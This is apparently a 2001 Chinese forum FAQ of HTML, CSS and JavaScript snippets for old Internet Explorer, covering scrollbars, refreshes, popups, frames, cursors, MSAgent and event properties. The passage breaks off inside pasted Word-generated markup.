js FAQ


--------------------------------------------------------------------------------

- 碧云DJ行 (http://www.beijiao.com/bybbs/leoboard.cgi)
-- 网站建设基本功 (http://www.beijiao.com/bybbs/forums.cgi?forum=2)
--- 来自无忧的精华帖子 (http://www.beijiao.com/bybbs/forums.cgi?forum=2&topic=2)


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:25pm

[这个贴子最后由碧云在 2001/11/13 04:58pm 编辑]

第一页问题标题有如下:
怎样才能把RealPlayer文件在网页做一个试听连接?
请问如何去掉IE的上下滚动条?
如何在打开页面的时候,输入表单就获得焦点?
解释一下event.X和event.clientX有什么区别?
请问如何让网页自动刷新?
如何让一个窗口永远在最上面?
如何实现虚线边框?
如何用html实现浏览器上后退按钮的功能?
表单中如何用图片按钮实现 reset?
怎样去掉图片链接点击后,图片周围的虚线?
如何去掉网页连接的下划线?


第二页问题标题有如下:
请问怎么在网页中改变鼠标的箭头形状?
target="_blank"规定链接在新窗口中打开,那 target="_parent"、 target="_self" 、target="_top"的作用又是什么?
如何使网友收藏本网时,收藏夹显示的不是微软的那个一成不变的标志,而是本人选择的ICON?
请问如何去掉主页右面的滚动条?
怎样不使用页面的缓存?即每一次打开页面时不是调用缓存中的东西
请问如何忽视右键?
怎样在同一页面内控制不同链接的CSS属性?
电子邮件处理提交表单
有没有可能用层来遮住FLASH?
如何根据屏幕分辨率调用相对应的页面?
不用询问就关闭浏览器
如何弹出只有状态栏的窗口?


第三页问题标题有如下:

如何改变iframe的src地址
如何让超链接没有下划线
页面打开时自动弹出一个窗口的代码怎么写?
请问如何做到让一个网页自动关闭.
如何让我的页面出现一个会讲话的小人?Merlin
如何几秒后转到别的页面?
在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
文本输入框什么属性能实现不可输入?
怎样保持layer在最前面,而不被Iframe、Object所覆盖,有什么解决方法?
如何让表格并排?
如何让两个form表单行距之间不出现空格?
如何让页面自动刷新?


第四页问题标题有如下:
如何给文本连接加上提示语言?
英文排版的问题:怎么能让英自动排列整齐?
如何禁止自己的页面在别人的框架里打开?
在打开的子窗口刷新父窗口的代码里如何写?
如何不用图片生成圆角的表格?
如何在java script中捕捉错误信息?
JS正则表达式replace用法
如何实现首页全屏幕显示?
如何动态改变一个Object对象的样式表风格的Class?
如何用脚本来修改用户系统的注册表?
如何监听一个窗口被关闭了?
什么是innerHTML、outerHTML………还有innerText?


第五页问题标题有如下:
关于try....catch..的语法捕捉错误使用例子
如何获得一个Select中选中option的values?
this 和self 有什么区别,各在哪里用
如何禁止Ctrl+N?
所有dhtml对象的属性和方法其实在你本机的硬盘上就有!
window方法列表!
execCommand的完全参考(中文版)
可以在TEXTAREA中实现在光标处用脚本来加入文本吗?
什么是.htc?
如何把页面加入用户的收藏夹?
在html中导入xml数据的方法?
能不能把表格的背景色设成半透明?


第六页问题标题有如下:
如何在我的页面中加入背景音乐?
怎么设置滚动条颜色?
如何让textarea没有滚动条?
如何设置open()?
如何
让弹出窗口只打开一次?
怎样让表单没有凹凸感?
<div><span>&<layer>的区别?
如何设置页面转换效果?
怎样预下载图片?
如何设定打开页面的大小?
怎样双击滚屏,单击停止?
如何让body中的文字不被选中?

第七页问题标题有如下:
绝对定位的负数是怎么回事?
如何让弹出的窗口不能关闭?
如何控制href,img等支持title属性的控制其title的显示格式?
标签fieldset的使用例子
如何让浏览器在保存页面时保存失败?  
一个页面内所有复选框的全选功能如何实现?
一个最简单的动态改变元素的代码例子  
如何让frame不可以修改大小?
如何做1px大小边框的Table
如何在不刷新页面的情况下刷新css?  


第一页如下:
--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:28pm

怎样才能把RealPlayer文件在网页做一个试听连接?

 HTML 代码片段如下:
<embed height=25 src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart="false" controls="PlayButton">

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:30pm

请问如何去掉IE的上下滚动条?

 HTML 代码片段如下:
<body style='overflow:scroll;overflow-y:hidden'>
</body>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:31pm

如何在打开页面的时候,输入表单就获得焦点?
如果表单没有名字可以用document.forms[index]数组访问
如果表单项没有名字可以用document.forms[index].elements[index]数组访问
这里index是整数
比如:

 HTML 代码片段如下:
<form>
<input type="text" value="" onclick ="document.forms[0].elements[0].value='我是表单1,第一个表单项';">
</form>
<form name="form2">
<input type="text" value="" onclick ="document.form2.elements[0].value='我是表单2,第一个表单项';">
</form>
<form name="form3">
<input name="text3" type="text" value="" onclick ="document.form3.text3.value='我是表单3,第一个表单项';">
</form>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]
要使一个表单项获得焦点,要使用foces()方法,如下
someElement.foces();
someElement是一个表单项的引用


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:32pm

解释一下event.X和event.clientX有什么区别?
event.clientX返回事件发生时,mouse相对于客户窗口的X坐标
event.X也一样
但是如果设置事件对象的定位属性值为relative
event.clientX不变
而event.X返回事件对象的相对于本体的坐标
event对象详解 ICOOE 2000.3.31  http://www.51js.com/
event代表事件的状态,例如事件发生的的元素、鼠标的位置等等,event对象只在事件过程中才有效。

event属性:

altKey
检索ALT键的当前状态
可能的值 true为关闭
false为不关闭

button
检索按下的鼠标键
可能的值: 0 没按键
1 按左键
2 按右键
3 按左右键
4 按中间键
5 按左键和中间键
6 按右键和中间键
7 按所有的键

cancelBubble
设置或检索当前事件是否将事件句柄起泡
可能的值: false 启用起泡
true 取消该事件起泡

clientX
检索与窗口客户区域有关的鼠标光标的X坐标,属性为只读,没有默认值。

clientY
检索与窗口客户区域有关的鼠标光标的Y坐标,属性为只读,没有默认值。

ctrlKey
ctrlKey 检索CTRL键的当前状态
可能的值 true为关闭
false为不关闭

dataFld
检索被oncellchange事伯影响的列

aTransfer
为拖放操作提供预先定义的剪贴板式。

Element
检索在on mouseover和on mouseout事件期间退出的对象指针

keyCode
设置或检索与引发事件的关键字相关联的Unicode关键字代码
该属性与onkeydown onkeyup onkeypress一起使用
如果没有引发事件的关键字,则该值为0

offsetX
检索与触发事件的对象相关的鼠标位置的水平坐标

offsetY
检索与触发事件的对象相关的鼠标位置的垂直坐标

propertyName
检索在对象上己更改的特性的名称

reason
检索数据源对象数据传输的结果
可能的值:
0 数据传输成功
1 数据传输失败
2 数据传输错误

recordset
检索数据源对象中默认记录集的引用
该特性为只读

repeat
检索一个事件是否被重复
该属性只有在onkeydown事件重复时才返回true

returnvalues
设置或检索从事件中返回的值
可能的值:
true 事件中的值被返回
false 源对象上事件的默认操作被取消

screenX
检索与用户屏相关的鼠标的水平位置

screenY
检索与用户屏相关的鼠标的垂直位置

shiftKey
检索shiftKey键的当前状态
可能的值 true为关闭
false为不关闭

srcElement
检索触发事件的对象

srcFilter
检索导致onfilterchange事件触发的过滤器对象

srcUm
检索触发事件行为的同一资源名称
除非下面两个条件都为真,否则该特性被设置为null
1.行为被附加到触发事件的要素上
2.在前面的项目符号中定义的行为己指定了一个URN标识符和己触发的事件

toElement
检索作为on mouseover或者on mouseout事件结果而移动的对象

type
检索事件对象中的事件名称

x
检索相对于父要素鼠标水平坐标的整数

y
检索相对于父要素鼠标垂直坐标的整数


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:32pm

请问如何让网页自动刷新?
在head部记入<META HTTP-EQUIV="Refresh" content="20">其中20为20秒后自动刷新,你可以更改为任意值。


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:33pm

如何让一个窗口永远在最上面?

 HTML 代码片段如下:
<a onclick=aa()>点这里</a>
<script language='<B style="color:black;background-color:#A0FFFF">javascript</B>'>
function aa(){
y=window.showModalDialog("http://www.51js.com","","Height: 300; Width: 275; help: no");
}
</script>
 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:34pm

如何实现虚线边框?

 HTML 代码片段如下:
<html>
<head>
<title>虚线</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>

<body bgcolor="#FFFFFF" text="#000000">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
 <tr>
  <td style="border-top-style:dashed ;"> </td>
 </tr>
</table>
</body>
</html>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


还可以把dashed换成dotted | solid | double | groove | ridge | inset | outset 等等样式,还可以在style里指定颜色:border-color:#??????
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>New Page 1</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>

<body>

<table border="1" width="100%" style="border: 1px dashed">
 <tr>
   <td width="50%"> </td>
   <td width="50%"> </td>
 </tr>
 <tr>
   <td width="50%"> </td>
   <td width="50%"> </td>
 </tr>
 <tr>
   <td width="50%"> </td>
   <td width="50%"> </td>
 </tr>
</table>
</body>
</html>

<html>
<body>
<table>
<tr>
<td style="border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000">只有这样才行吗?</td>
</tr>
<tr><td style="border-left:dashed 1px #000000;border-right:dashed 1px #000000" height=100> </td></tr>
<tr><td style="border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000">如果td多了,这样出来的虚线边框是断断续续的。</td></tr></table>
</body></html>


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:35pm

如何用html实现浏览器上后退按钮的功能?
<a href="java script:history.go(-1)">点击后退</a>
或者
<script> history.back() </script>

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:36pm

[这个贴子最后由碧云在 2001/11/13 06:06pm 编辑]

表单中如何用图片按钮实现 reset?
<html>
<head>
<script>
function aaa(){
document.forms[0].reset()
}
</script>
</head>
<body>
<form>
<textarea rows="2" name="S1" cols="20"></textarea>
 <input type="submit" values="提交" name="B1">  
 <image src="logo.gif" onclick=aaa()>  
</form>
</body></html>


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:36pm

[这个贴子最后由碧云在 2001/11/13 06:07pm 编辑]

怎样去掉图片链接点击后,图片周围的虚线?
onFocus="if(this.blur)this.blur()"
blur:
使物件失焦...
當你点击图片链接時
图片链接得到焦點(Focus)
就會出現虚线(提示你這個圖片得到焦點了)
用blur能使之失焦
簡單一點的語法
onFocus="this.blur()"

 HTML 代码片段如下:
<a href="#" onFocus="this.blur()">
<

第二页如下:
--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:39pm

请问怎么在网页中改变鼠标的箭头形状?
 HTML 代码片段如下:
<body>
<a href="#" style="cursor: auto;">auto</a><br>
<a href="#" style="cursor: crosshair ">crosshair </a><br>
<a href="#" style="cursor: default ">default </a><br>
<a href="#" style="cursor: hand ">hand </a><br>
<a href="#" style="cursor: move ">move </a><br>
<a href="#" style="cursor: e-resize ">e-resize </a><br>
<a href="#" style="cursor: ne-resize ">ne-resize </a><br>
<a href="#" style="cursor: nw-resize">nw-resize</a><br>
<a href="#" style="cursor: n-resize">n-resize</a><br>
<a href="#" style="cursor: se-resize">se-resize</a><br>
<a href="#" style="cursor: sw-resize">sw-resize</a><br>
<a href="#" style="cursor: s-resize">s-resize</a><br>
<a href="#" style="cursor: w-resize">w-resize</a><br>
<a href="#" style="cursor: text">text</a><br>
<a href="#" style="cursor: wait">wait</a><br>
<a href="#" style="cursor: help">help</a><br>
</body>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:39pm

target="_blank"规定链接在新窗口中打开,那 target="_parent"、 target="_self" 、target="_top"的作用又是什么?
target="_parent"、上一层框架
target="_self" 、自身窗口、框架
target="_top" 最顶层框架。
更细点的解释,从织梦补给网找来的:
_blank

開啟一個新的視窗,而且是沒有命名的視窗。

_self

強迫連結的結果顯示在同一個子畫面,而忽略 BASE 的設定。

_parent

在該子畫面的「父畫面」(也就是上一層的 FRAMESET)中顯示連結的結果。

_top

從視窗的最上頭開始顯示畫面;換句話說就是先清除整個視窗後再載入連結。


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:39pm

如何使网友收藏本网时,收藏夹显示的不是微软的那个一成不变的标志,而是本人选择的ICON?
<LINK href="fav.ico" rel="shortcut icon">
加入HADE標簽中,圖片放入根目錄下,須是.ico格式.
有的空間不支援直接放在根目錄
必須加上
<LINK href="路徑/圖檔.ico" rel="shortcut icon">

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:40pm

请问如何去掉主页右面的滚动条?

 HTML 代码片段如下:
<body scroll="no">
<body style="overflow-y:hidden">
 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:41pm

怎样不使用页面的缓存?即每一次打开页面时不是调用缓存中的东西
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">  

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:42pm

请问如何忽视右键?

 HTML 代码片段如下:
<body oncontextmenu="return false">

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:45pm

怎样在同一页面内控制不同链接的CSS属性?
a:active{}
a:link{}
a:visited{}

a.1:active{}
a.1:link{}
a.1:visited{}
在DW4的CSS中定义一个新的标示,按照HTML的语法,超级连接得是
A.YOURS:LINK A.YOURS:HOVER
YOURS可以改作你自己的字
然后在选中某个连接后,在CSS面版中点中YOURS即可。
按需要,你可以定义N个标示,N种鼠标OVER的效果


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:45pm

电子邮件处理提交表单

 HTML 代码片段如下:
<form name="form1" method="post" action="mailto:webmaster@51js.com" enctype="text/plain">
<input type=submit>
</form>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:45pm


有没有可能用层来遮住FLASH?
1.在flash的parameters里加入 <param name="wmode" values="transparent">
2.<body onblur=self.focus()>  


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:46pm

如何根据屏幕分辨率调用相对应的页面?
先做好几个页面,比如一个htm1.htm是800*600,一个是htm2.htm是1024*768的

然后在你的入口页面 index.htm 中判断:

 HTML 代码片段如下:
<html>
<head>
<script language=<B style="color:black;background-color:#A0FFFF">javascript</B>>
<!--
function mHref() {
if (screen.width == 1024) location.href = "htm2.htm";
else if (screen.width == 800) location.href = "htm1.htm";
else return(false);
}
//-->
</script>
</head>
<body onload="mHref();">
</body>
</html>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:46pm

不用询问就关闭浏览器

 HTML 代码片段如下:
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body>
<input type="button" value="点击我关闭窗口" onclick="closes.Click();">
</body>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:47pm

如何弹出只有状态栏的窗口?

 HTML 代码片段如下:
<html>
<head>
<title>open() close()</title>
<script language="<B style="color:black;background-color:#A0FFFF">javascript</B>" type="text/<B style="color:black;background-color:#A0FFFF">javascript</B>">
<!--
 function openWin()
{
 var newWin=open("","","menubar=1,height=200");
 newWin.document.write("<form>");
 newWin.document.write("单击以下按钮关闭窗口:<p>");
 newWin.document.write("<input type=button value='关闭' onclick=window.close()>");
 newWin.document.write("</form>");
}
</script></head>
<body>
<div align=center>
<h2>单击以下按钮显示新窗口...</h2>
<form name=form1>
<input type=button value="新窗口1[只显示地址栏]" onclick=window.open('','new1','location=1')>
<input type=button value="新窗口2[只显示状态栏]" onclick=window.open('','','status=1')>
<input type=button value="新窗口3[只显示工具栏]" onclick=window.open('','new2','toolbar=1,height=200,width=450')>
<input type=button value="新窗口4[只显示菜单栏]" onclick=openWin()>
<input type=button value="新窗口5[一个不少]" onclick=window.open('','new5')>
<input type=button value="新窗口6[光棍但可调大小]" onclick=window.open('http://www.51js.com/forumdisplay.php?forumid=32#thread','new6','resizable=1')>
</form>
</div>
</body>
</html>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


第三页如下:
--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:47pm

如何改变iframe的src地址
 HTML 代码片段如下:
<body>
<input type="button" value="改变地址" onClick="parent.displayinhere.location.href='http://www.gznet.com/'">
<<B style="color:black;background-color:#ffff66">iframe</B> name="displayinhere" width=250px; height=200px; src="http://www.51js.com">
</body>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:47pm

如何让超链接没有下划线
在源代码中的<HEAD>…</HEAD>之间输入如下代码:
<style type="text/css"> <!--
a { text-decoration: none}
--> < /style>


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:48pm


页面打开时自动弹出一个窗口的代码怎么写? 

 HTML 代码片段如下:
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language="<B style="color:black;background-color:#A0FFFF">javascript</B>">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
 window.open(theURL,winName,features);
}
//-->
</script>
</head>

<body bgcolor="#FFFFFF" text="#000000" onLoad="MM_openBrWindow('1212312.htm','','width=400,height=400')">
</body>
</html>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:48pm

请问如何做到让一个网页自动关闭.

 HTML 代码片段如下:
<html>
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body onload="window.setTimeout('closes.Click()',10000)">
这个窗口会在10秒过后自动关闭,而且不会出现提示.  </body>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:49pm

如何让我的页面出现一个会讲话的小人?Merlin

 HTML 代码片段如下:
<HTML>
<HEAD>
<TITLE>默林</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
</HEAD>

<BODY>
<p><OBJECT id=sims classid=CLSID:D45FD31B-5C6E-11D1-9EC1-00C04FD7081F>
 </OBJECT>
 <SCRIPT>
var MerlinID;
var MerlinACS;
sims.Connected = true;
MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);
Merlin = sims.Characters.Character(MerlinID);
Merlin.Show();
Merlin.Play("Surprised");
Merlin.Speak("大家好");
Merlin.Play("GestureLeft");
Merlin.Think("我是默林!");
Merlin.Play("Pleased");
Merlin.Think("可爱吗?");
Merlin.Play("GestureDown");
Merlin.Speak("哈哈!");
Merlin.Hide();
function LoadLocalAgent(CharID, CharACS){
LoadReq = sims.Characters.Load(CharID, CharACS);
return(true);
}
</SCRIPT>
</p>
<p> </p>
<p>看此效果必须装有office2000!!!</p>
</BODY>
</HTML>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


这代码中使用的MSAgent仍然属于客户端的控件,在Win98安装PWS时可以安装上一个叫Merlin的精灵,查查你的系统中有没有一个叫做Merlin.acf的文件,应该在一个叫MSAgent的目录,记不太清了,有的话才能看到,否则就会出现下载的提示,在Win2000中已安装了MSAgent2.0,所以一般都会正确的显示出来,还有很多精灵,但之所以选用Merlin因为大部分的机器上都有,如果想自己定制的话,可以到微软去下载一个叫Character Editor的工具,制作的精灵必须分发到客户端才可使用,在微软站点的MSAgent是在服务器端的,每个命令都要到服务器上去处理,然后发回相应的动作图画,(不过至今我还没看到过,我们的带宽本来就不够,还有一堆人在下载,哎,真是痛苦!),我还没有看到有关在Server端制作MSAgent的文章,谁有的话,可以告诉我一声。

其中:
用"/Spd=number/"
number是字数/分
例如:
Merlin.Speak "/Spd=62/Welcome to the 51js"
Merlin.Speak "/Spd=160/Welcome to the 51js"

还有,找到这句:
Merlin.LanguageID = 0x409;
改为0x804 (Simplified Chinese)
改为0x404 (Traditional Chinese)

要用的话最好到微软去看看它的使用许可协议,要是被微软告了可别怪我噢!!
最终用户许可
http://msdn.microsoft.com/msagent/eula.asp
分发许可
http://msdn.microsoft.com/msagent/agentlic.asp

MSAgent 下载
http://activex.microsoft.com/activex/controls/agent2/MSagent.exe
http://agent.microsoft.com/agent2/chars/Merlin.exe
http://agent.microsoft.com/agent2/chars/Peedy.exe

资料:
http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:49pm


如何几秒后转到别的页面?
<META HTTP-EQUIV="Refresh" CONTENT="时间;URL=地址">


 HTML 代码片段如下:
<META HTTP-EQUIV="Refresh" CONTENT="10;URL=http://www.51js.com">
十秒中后跳到51JS.COM的首页

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:50pm

[这个贴子最后由碧云在 2001/11/13 03:50pm 编辑]

在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动

 HTML 代码片段如下:
<html><head>
<STYLE>
body  {background-image:url(logo.gif);
     background-repeat:no-repeat; background-position:center }
</STYLE>

</head>

<body bgproperties="fixed" >
</body>

</html>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]
background-repeat:no-repeat; 是讓背景圖不占滿整個頁面
body bgproperties="fixed" 是拉動scroll時背景圖不動


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:51pm


文本输入框什么属性能实现不可输入?


 HTML 代码片段如下:
<input type="text" name="textfield" disabled>
或者
<input type="text" name="textfield" readonly>
 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:52pm

怎样保持layer在最前面,而不被Iframe、Object所覆盖,有什么解决方法?
只要在Layer中再插Iframe 或 Object 设z-Index值

 HTML 代码片段如下:
<div z-Index:2><object xxx></object></div> # 前面
<div z-Index:1><object xxx></object></div> # 后面
<div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><<B style="color:black;background-color:#ffff66">iframe</B> width=0 height=0></<B style="color:black;background-color:#ffff66">iframe</B>></div>
<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><<B style="color:black;background-color:#ffff66">iframe</B> height=100% width=100%></<B style="color:black;background-color:#ffff66">iframe</B>></div>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]
注意:IE5.5通过

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:53pm

如何让表格并排?
首先在第一个表里应该这样写:
"<table border=0 cellpadding=1 cellspacing=1 align=left>"
这table里最为关键是"align=left"这一句。

然后在第二个表里也应该加上align=left

这样,你的目的就达到了。

 HTML 代码片段如下:
<table width="200" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000" align=left>
<tr>
<td bgcolor="#ffffff"> </td>
</tr>
</table>
<table width="200" height=200 border="0" cellspacing="1" cellpadding="0" bgcolor="#cccccc" align=left>
<tr>
<td bgcolor="#ffffff"> </td>
</tr>
</table>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00"><tr><td> 我很好</tr></td></table>
<br>还可以排三个
<br>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00" align=right><tr><td> 我很好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#0000ff" align=center><tr><td> 他也很好</tr></td></table>


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:53pm


如何让两个form表单行距之间不出现空格?
这样写
<TABLE><form><TR>.......</TR></form></TABLE>


 HTML 代码片段如下:
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>

<body bgcolor="#FFFFFF" text="#000000">
<table width="550" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000">
<form name="form1">
 <tr bgcolor="#FFFFFF">
  <td>aaaaaaaaaaaaa</td>
  <td>bbbbbbbbbbbbbb</td>
  <td>ccccccccccccccc</td>
 </tr>
</form>
<form name="form1">
 <tr bgcolor="#FFFFFF">
  <td>dddddddddddddd</td>
  <td>eeeeeeeeeeeeee</td>
  <td>fffffffffffffffff</td>
 </tr>
</form>
</table>

</body>
</html>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 03:55pm

[这个贴子最后由碧云在 2001/11/13 03:59pm 编辑]


如何让页面自动刷新?
方法一,用refresh


 HTML 代码片段如下:
<head>
<meta http-equiv="refresh" content="5">
</head>
5表示刷新时间
 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


方法二,使用setTimeout控制
<img src=/logo.gif>
<script>
function rl(){
document.location.reload()
}
setTimeout(rl,2000)
</script>


第四页如下:
--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:00pm

如何给文本连接加上提示语言?

 HTML 代码片段如下:
<a href="#" title="我出来拉">click me</a>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:00pm


英文排版的问题:怎么能让英自动排列整齐?
请使用css中的
text-align: justify; 

 HTML 代码片段如下:
<table style="TABLE-LAYOUT: fixed" width="100%" border="0" cellspacing="0" cellpadding="7" bgcolor="#f7f7f7">
<tr>
<td style="LEFT: 0px; WIDTH: 100%; text-align: justify"><font color="#990000">[效果]</font><br>
who are you you are a aaa is it comprehention who are you you are a pig is it comprehention
who are you you are a aaa is it comprehention
who are you you are a aaa is it comprehention
</font></td>
</tr>
</table>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:01pm

如何禁止自己的页面在别人的框架里打开?
把以下代码加至你的<head>区
<script>
if (window.top!=self){
window.top.location=self.location
}
</script>

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:01pm


在打开的子窗口刷新父窗口的代码里如何写?
window.opener.location.reload()

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:01pm


如何不用图片生成圆角的表格?


 HTML 代码片段如下:
<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:w="urn:schemas-microsoft-com:office:word"
xmlns="http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=Content-Type content="text/html; charset=GB2312">
<link rel=Original-File href="文档%201">
<meta name=ProgId content=Word.Document>
<meta name=Generator content="Microsoft Word 9">
<meta name=Originator content="Microsoft Word 9">
<link rel=File-List href="./文档%201.files/filelist.<B style="color:black;background-color:#99ff99">xml</B>">
<link rel=Edit-Time-<B style="color:black;background-color:#ff9999">Data</B> href="./文档%201.files/editdata.mso">
<!--[if !mso]>
<style>
v/:* {behavior:url(#default#VML);}
o/:* {behavior:url(#default#VML);}
w/:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]--><!--[if gte mso 9]><<B style="color:black;background-color:#99ff99">xml</B>>
 <o:DocumentProperties>
 <o:Author>zhy</o:Author>
 <o:Template>Normal</o:Template>
 <o:Revision>1</o:Revision>
 <o:TotalTime>1</o:TotalTime>
 <o:Created>2003-05-10T09:20:00Z</o:Created>
 <o:Pages>1</o:Pages>
 <o:Characters>1</o:Characters>
 <o:Company>yd</o:Company>
 <o:Lines>1</o:Lines>
 <o:Paragraphs>1</o:Paragraphs>
 <o:CharactersWithSpaces>1</o:CharactersWithSpaces>
 <o:Version>9.2812</o:Version>
 </o:DocumentProperties>
</<B style="color:black;background-color:#99ff99">xml</B>><![endif]--><!--[if gte mso 9]><<B style="color:black;background-color:#99ff99">xml</B>>
 <w:WordDocument>
 <w:View>Normal</w:View>
 <w:Zoom>0</w:Zoom>
 <w:PunctuationKerning/>
 <w:DrawingGridVerticalSpacing>7.8 磅</w:DrawingGridVerticalSpacing>
 <w:DisplayHorizontalDrawingGridEvery>0</w:DisplayHorizontalDrawingGridEvery>
 <w:DisplayVerticalDrawingGridEvery>2</w:DisplayVerticalDrawingGridEvery>
 <w:Compatibility>
  <w:SpaceForUL/>
  <w:BalanceSingleByteDoubleByteWidth/>
